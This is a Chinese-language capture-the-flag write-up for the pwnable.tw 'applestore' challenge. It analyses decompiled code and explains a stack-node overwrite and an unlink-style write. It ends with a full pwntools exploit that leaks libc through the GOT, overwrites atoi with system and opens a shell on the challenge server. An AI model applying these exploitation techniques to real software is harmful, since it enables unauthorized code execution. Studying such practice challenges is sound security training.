pwnable.tw_applestore

pwnable.tw_challenge_applestore

0x01 关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
char *__cdecl my_read(void *buf, size_t nbytes)
{
char *result; // eax
ssize_t v3; // [esp+1Ch] [ebp-Ch]

v3 = read(0, buf, nbytes); // 使用read读入输入流
if ( v3 == -1 )
return (char *)puts("Input Error.");
result = (char *)buf + v3;
*((_BYTE *)buf + v3) = 0;
return result; // 在末尾补\x00
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8"); //新增的27位于堆中
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
v1 = 1;
v2 = (_DWORD *)dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
v3 = atoi(&nptr);
while ( v2 )
{
if ( v1 == v3 ) //类似双向链表的free操作
{
v4 = v2[2];
v5 = v2[3];
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (_DWORD *)v2[2];
}
return __readgsdword(0x14u) ^ v7;
}

0x02 漏洞利用

0x01 利用思路

首先可以看到delete中使用了类似free操作的:

1
2
3
4
5
6
v4 = v2[2];
v5 = v2[3];
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;

可以想到我们可以利用类似unlink的操作修改.got表来执行system,从而最终获取shell

0x02 可控节点&&libc基址

首先我们要找到一个可控的节点:
从上面的checkout函数可以看出
当我们购物车中商品价格恰好凑齐7174时(很容易算出6个1号商品,20个2号商品恰好可以)
结算时会自动以1元将一部iphone8放入购物车
很显然iPhone8对应的这个节点在栈中
位置在:ebp-20h
当退出checkout时,调用下一个函数,这个节点依然在后面函数的ebp-20h处
关注my_read函数:
使用read读入输入流,而read读入时遇到\x00是不会停止
而调用my_read的函数(cart/delete),用于存入输入流的位置都在:
ebp-22h
恰好可以覆盖ebp-20h
如果将其覆盖为.got表中地址,当输出iPhone8对应的节点时,根据:

1
2
3
4
5
6
7
8
9
10
11
12
13
char **__cdecl create(int a1, char *a2)
{
char **v2; // eax
char **v3; // ST1C_4

v2 = (char **)malloc(0x10u);
v3 = v2;
v2[1] = a2; // 价格
asprintf(v2, "%s", a1); // 保存名称(指针)
v3[2] = 0;
v3[3] = 0;
return v3;
}

节点初始位置即为商品名称
所以当覆盖ebp-20h为.got表中地址时
调用函数输出iPhone8对应节点的商品名称时
原应输出字符串“iPhone8”的位置即会变为输出.got表中对应函数的真实加载地址,从而根据函数在libc中偏移量计算出libc加载的基址
这里可以直接调用cart()来输出商品名称,获得对应函数真实地址(delete也可以,不过考虑会改变链表结构,用cart()方便些)

0x03 修改.GOT||劫持EBP

这里首先利用类似unlink的操作来修改got表:
我们构造iPhone8对应的结构体为:

1
2
fd->got[‘atoi’]-0x8
bk->system_addr

但这里修改.got表中atoi的同时也会修改system_addr+0xc,造成段错误
到这里有两个方案:
继续修改.GOT或者劫持ebp控制函数返回地址

修改.GOT:

我们可以通过修改delete时的栈中handle的ebp地址
使它指向atoi_got_addr+0x22,那么delete返回时handle的ebp指向atoi_got_addr+0x22,存储输入流的地址为ebp-0x22,即:atoi_got_addr
这时候,我们便可利用my_read来使用输入流覆盖.got表中atoi对应地址为system_addr,并将参数”/bin/sh”传入,不过此处参数为输入流存储的开始地址,即system_addr+”/bin/sh”,所以这里我们使用一下参数截断输入”;/bin/sh\x00”或者”||/bin/sh\x00”

劫持ebp控制函数返回地址

类似上一个方法,我们修改delete时的栈中handle的ebp地址,让他指向handle_ebp-20h,再构造输入流:

1
"06"+p32(随意一个地址作system的栈底)+p32(system_addr)+p32(随意一个地址作system的返回地址)+p32(bin_sh_addr)

这样构造,当handle函数leave时
ebp赋值给esp,esp指向handle_ebp-20h,即输入流开始+2h处,而后pop ebp,将用system的栈底的地址赋值给ebp,而后handle函数retn,将system_addr传入eip,从而调用system函数,参数即为用作system返回地址后的bin_sh_addr,以此获取shell

environ获取栈地址

类似获取libc基址的操作
我们可以利用libc的基址计算出变量environ地址,传入environ_bss,而后利用cart读取此位置数据,environ处会存放当前栈中环境变量所在的位置,以此即可获取栈地址

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

def insert(n):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(n)
p.recvuntil("amazing idea.\n")
def delete(n):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(n)
def checkout():
p.recvuntil("> ")
p.sendline("5")
p.recvuntil("> ")
p.sendline("y")
p.recvuntil("Maybe next time!\n")
def cart(n):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("> ")
p.sendline("y\x00" + p32(n) + p32(0)*3)
p.recvuntil("27: ")

p = remote("139.162.123.119",10104)
elf=ELF("./applestore")
elib = ELF("./libc_32.so.6")
atoi_got_addr = elf.got["atoi"]

for i in range(6):
insert("1")
for i in range(20):
insert("2")
checkout()
cart(atoi_got_addr)
atoi_addr = u32(p.recvuntil("\n")[:4])
environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
cart(environ_bss)
environ_addr = u32(p.recvuntil("\n")[:4])
system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']

ebp_addr = environ_addr - 0x100
ebp_new_addr = ebp_addr - 0xc

p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("27" + p32(atoi_got_addr) + "aaaa" + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
p.recvuntil("> ")
p.sendline(p32(system_addr)+";/bin/sh\x00")
p.interactive()